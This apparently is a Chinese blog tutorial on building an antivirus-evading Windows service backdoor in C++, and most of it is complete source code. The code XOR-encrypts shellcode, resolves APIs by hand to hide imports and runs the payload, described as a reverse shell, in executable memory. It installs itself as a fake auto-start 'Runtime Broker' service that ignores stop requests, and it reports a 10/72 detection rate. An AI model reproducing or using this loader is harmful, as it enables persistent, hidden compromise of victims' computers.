Windows免杀:服务后门

本文介绍如何使用C++实现服务自启动,并在服务启动时执行Shellcode。主要内容包括Shellcode的异或加密与解密、服务的编写与启动流程、服务注册与隐藏窗口、以及如何通过修改服务响应请求等方式降低查杀率。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

通过给自身传递不同的参数来达到不同的行为,用服务的自启动代替应用程序的自启动

1:Payload 异或加密
单独使用加密程序进行加密:

#include<string>
#include <iostream>
using namespace std;
using std::string;
unsigned char buf[] = //Shellcode
int main() {
	string s;
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		int n = buf[i] ^ 0x44;
		char c[5];
		sprintf_s(c, "\\x%x", n);
		s += c;
	}
	std::cout << s << std::endl;
	system("pause");
}

2:编写主体框架:

C++ 服务编写模板

#include <windows.h> 
#define SLEEP_TIME 120000//间隔时间
bool brun = false;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
void WINAPI ServiceMain(int argc, char** argv);
void WINAPI CtrlHandler(DWORD request);
void WINAPI ServiceMain(int argc, char** argv)
{
	servicestatus.dwServiceType = SERVICE_WIN32;
	servicestatus.dwCurrentState = SERVICE_START_PENDING;
	servicestatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP;
	servicestatus.dwWin32ExitCode = 0;
	servicestatus.dwServiceSpecificExitCode = 0;
	servicestatus.dwCheckPoint = 0;
	servicestatus.dwWaitHint = 0;
	hstatus = ::RegisterServiceCtrlHandler(L"lsload", CtrlHandler);
	if (hstatus == 0)
	{
		return;
	}
	servicestatus.dwCurrentState = SERVICE_RUNNING;
	SetServiceStatus(hstatus, &servicestatus);
	brun = true;
	while (brun)//任务循环
	{
		Sleep(SLEEP_TIME);
	}
}

void WINAPI CtrlHandler(DWORD request)
{
	switch (request)
	{
	case SERVICE_CONTROL_STOP:
		brun = false;
		servicestatus.dwCurrentState = SERVICE_STOPPED;
		break;
	case SERVICE_CONTROL_SHUTDOWN:
		brun = false;
		servicestatus.dwCurrentState = SERVICE_STOPPED;
		break;

	default:
		break;
	}
	SetServiceStatus(hstatus, &servicestatus);
}
int __cdecl wmain(int argc, char* argv[])
{
	SERVICE_TABLE_ENTRY entrytable[2];
	entrytable[0].lpServiceName = (LPWSTR)L"ServiceName";//服务名
	entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
	entrytable[1].lpServiceName = NULL;
	entrytable[1].lpServiceProc = NULL;
	StartServiceCtrlDispatcher(entrytable);
	return 0;
}

3:添加功能:

//头文件及预定义
#include<tchar.h>
#include <Windows.h>
#include<iostream>
#include <io.h>
#define SLEEP_TIME 6000//后门重连间隔时间
#define SER_NAME _T("Runtime Broker")

bool brun = false;
using namespace std;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
string path = __argv[0];
  1. 执行Shellcode:
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

size_t getKernelBase()
{
   return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);
}

void Connect() {
   size_t hKernel = getKernelBase();
   PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel;
   PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel);
   PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel);
   size_t nameCount = pImageExportDirectory->NumberOfNames;
   size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel;
   size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel;
   size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel;
   fGetProcAddress fnGetProcAddress = NULL;
   for (size_t i = 0; i < nameCount; i++)
   {
   	USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel);
   	if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373)
   	{
   		fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel);
   	}
   }
   if (fnGetProcAddress == NULL)
   {
   	return;
   }
   size_t str1[4];
   str1[0] = 0x74726956;
   str1[1] = 0x416c6175;
   str1[2] = 0x636f6c6c;
   str1[3] = 0x0;
   fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1);
   auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   memcpy(b, buf, sizeof(buf));
   for (size_t i = 0; i < sizeof(buf); i++)
   {
   	((unsigned char*)b)[i] ^= 0x44;
   }
   b();
}
  1. 启动时隐藏窗口:
void HideWindow() {
   HWND hwnd = GetForegroundWindow();
   ShowWindow(hwnd, SW_HIDE);
}
  1. 服务的自我注册:
    相关链接:通过API操作服务
    这里不用SC来注册,SC查得更严(相比与services.exe)
bool CreateAndStartService() {
  SC_HANDLE SCM = NULL;
  SC_HANDLE SER = NULL;
  bool s = false;
  do
  {
  	SCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  	if (SCM == NULL)
  	{
  		break;
  	}
  	SER = CreateService(SCM, SER_NAME, SER_NAME, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, _T("\"C:\\Windows\\Virus\\Runtime Broker.exe\" s"),NULL,NULL,NULL,NULL,NULL);
  	if (SER == NULL)
  	{
  		break;
  	}
  	s = StartService(SER, NULL, NULL); 
  } while (false);
  return s;
}

4.修改服务响应的请求:

servicestatus.dwControlsAccepted = NULL; //在ServiceMain中,不响应任何请求

switch (request)//在CtrlHandler中,收到控制请求不响应
{
case SERVICE_CONTROL_STOP:
	break;
case SERVICE_CONTROL_SHUTDOWN:
	break;
default:
	break;
}

5.Main方法:

int __cdecl main(int argc, char** argv)
{
	if (argc >= 2)
	{
		string argv_s = argv[1];
		if (argv_s == "s")//作为服务运行
		{
			SERVICE_TABLE_ENTRY entrytable[2];
			entrytable[0].lpServiceName = (LPWSTR)L"Runtime Broker";//服务名
			entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
			entrytable[1].lpServiceName = NULL;
			entrytable[1].lpServiceProc = NULL;
			StartServiceCtrlDispatcher(entrytable);
			return 0;
		}
		else if (argv_s == "c") {//反弹Shell
			Connect();
		}
	}
	else { //被双击运行
		HideWindow();
		string copycommand = "copy \"" + path + "\" C:\\Windows\\Virus"; 
		system("mkdir C:\\Windows\\Virus");
		system(copycommand.data());
		CreateAndStartService();
		exit(0);
	}
}

6:判断杀软:
判断杀软并获取PID:
C++ 判断某个程序是否正在运行,存在则返回PID

7.获取管理员权限(VS可以直接修改清单文件)
不修改清单文件:
C++ 获得管理员权限

完整代码:(查杀率: 10/72)
这里是已经通过修改清单文件获取管理员权限
不修改清单文件需要自己加功能
要再降低查杀率,可使用加密通信等手段:
免杀的N种姿势-基础篇
免杀的N种姿势-msf自免杀
免杀的N种姿势-msf篇

#include<tchar.h>
#include <Windows.h>
#include<iostream>
#include <io.h>
#define SLEEP_TIME 6000//间隔时间
#define SER_NAME _T("Runtime Broker")

bool brun = false;
using namespace std;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
string path = __argv[0];

int main(int argc,char** argv);
void WINAPI ServiceMain(int argc, char** argv); 
void WINAPI CtrlHandler(DWORD request); 
void Connect(); 
size_t getKernelBase(); 
void HideWindow(); 
bool CreateAndStartService();
char* StringToChar(const string& object);
unsigned char buf[] = //加密后的Shellcode

char* StringToChar(const string& object) {
	char* result = (char*)object.data();
	return result;
}

bool CreateAndStartService() {
	SC_HANDLE SCM = NULL;
	SC_HANDLE SER = NULL;
	bool s = false;
	do
	{
		SCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
		if (SCM == NULL)
		{
			break;
		}
		SER = CreateService(SCM, SER_NAME, SER_NAME, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, _T("\"C:\\Windows\\Virus\\Runtime Broker.exe\" s"),NULL,NULL,NULL,NULL,NULL);
		if (SER == NULL)
		{
			break;
		}
		s = StartService(SER, NULL, NULL); 
	} while (false);
	return s;
}
size_t getKernelBase()
{
	return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);
}
void Connect() { 
	size_t hKernel = getKernelBase();
	PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel;
	PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel);
	PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel);
	size_t nameCount = pImageExportDirectory->NumberOfNames;
	size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel;
	size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel;
	size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel;
	fGetProcAddress fnGetProcAddress = NULL;
	for (size_t i = 0; i < nameCount; i++)
	{
		USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel);
		if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373)
		{
			fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel);
		}
	}
	if (fnGetProcAddress == NULL)
	{
		return;
	}
	size_t str1[4];
	str1[0] = 0x74726956;
	str1[1] = 0x416c6175;
	str1[2] = 0x636f6c6c;
	str1[3] = 0x0;
	fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1);
	auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(b, buf, sizeof(buf));
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		((unsigned char*)b)[i] ^= 0x44;
	}
	b();
}
void WINAPI ServiceMain(int argc, char** argv)
{
	servicestatus.dwServiceType = SERVICE_WIN32;
	servicestatus.dwCurrentState = SERVICE_START_PENDING;
	servicestatus.dwControlsAccepted = NULL;
	servicestatus.dwWin32ExitCode = 0;
	servicestatus.dwServiceSpecificExitCode = 0;
	servicestatus.dwCheckPoint = 0;
	servicestatus.dwWaitHint = 0;
	hstatus = ::RegisterServiceCtrlHandler(L"lsload", CtrlHandler);
	if (hstatus == 0)
	{
		return;
	}
	servicestatus.dwCurrentState = SERVICE_RUNNING;
	SetServiceStatus(hstatus, &servicestatus);
	brun = true;
	while (brun)//任务循环
	{
		string c = "\"C:\\Windows\\Virus\\Runtime Broker.exe\" c";
		system(c.data());
		Sleep(SLEEP_TIME);
	}
}
void WINAPI CtrlHandler(DWORD request)
{
	switch (request)
	{
	case SERVICE_CONTROL_STOP:
		break;
	case SERVICE_CONTROL_SHUTDOWN:
		break;
	default:
		break;
	}
	SetServiceStatus(hstatus, &servicestatus);
}
void HideWindow() {
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}
int __cdecl main(int argc, char** argv)
{

	if (argc >= 2)
	{
		string argv_s = argv[1];
		if (argv_s == "s")
		{
			SERVICE_TABLE_ENTRY entrytable[2];
			entrytable[0].lpServiceName = (LPWSTR)L"Runtime Broker";//服务名
			entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
			entrytable[1].lpServiceName = NULL;
			entrytable[1].lpServiceProc = NULL;
			StartServiceCtrlDispatcher(entrytable);
			return 0;
		}
		else if (argv_s == "c") {
			Connect();
		}
	}
	else { 
		HideWindow();
		string copycommand = "copy \"" + path + "\" C:\\Windows\\Virus"; 
		system("mkdir C:\\Windows\\Virus");
		system(copycommand.data());
		CreateAndStartService();
		exit(0);
	}
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

海鸥的诀别诗

谢谢,龙咬会继续努力的!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值